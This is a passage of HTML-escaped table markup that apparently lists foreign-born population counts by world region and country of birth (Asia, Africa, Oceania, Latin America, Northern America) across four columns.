    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Asia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,979,037&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,539,777&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;824,887&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;490,996&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;56&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Armenia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;57&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;China 1/&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;529,837&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;286,120&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;172,132&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;99,735&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;58&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;India&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;450,406&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;206,087&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;51,000&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;12,296&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;59&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Japan&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;290,128&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;221,794&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;120,235&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;109,175&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;60&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Palestine&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;21,070&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;61&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Syria&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;36,782&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;22,081&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;14,962&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;16,717&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;62&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Turkey in Asia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;55,087&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;51,915&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;48,085&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;52,228&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;63&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Asia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,595,727&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,751,780&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;418,473&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;200,845&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;64&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Africa&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;363,819&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;199,723&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;80,143&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;35,355&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;65&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Africa excl. Atlantic Islands&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;349,451&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;189,266&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;61,463&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;27,053&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;66&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Atlantic Islands&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;14,368&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10,457&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;18,680&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,302&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;67&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Oceania&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;104,145&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;77,577&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;41,258&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;34,730&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;68&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Australia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;42,267&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;36,120&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;24,271&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;22,209&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;69&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sandwich Islands (Hawaii)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(X)&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;70&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Oceania&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;61,878&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;41,457&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;16,987&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;12,521&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;71&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Latin America&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,407,837&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,372,487&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,803,970&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;908,309&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;72&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Caribbean&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,938,348&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,258,363&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;675,108&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;193,922&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;73&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Cuba&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;736,971&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;607,814&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;439,048&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;79,150&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;74&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Caribbean&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,201,377&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;650,549&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;236,060&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;114,772&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;75&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Central America&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,431,992&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,553,113&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;873,624&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;624,851&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;76&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Mexico&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,298,014&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,199,221&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;759,711&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;575,902&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;77&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Central America&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,133,978&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;353,892&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;113,913&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;48,949&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;78&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;South America&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,037,497&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;561,011&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;255,238&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;89,536&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;79&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Northern America&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;753,917&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;853,427&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;812,421&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;952,500&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;80&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Canada&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;744,830&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;842,859&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;812,421&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;952,500&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;81&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Canada-French&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;82&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Canada-Other&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;83&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Newfoundland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;84&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Northern America&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,087&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10,568&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;85&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;Region or country not reported&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;808,158&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;887,343&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;315,732&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;59,890&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;86&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Born at sea&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;87&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
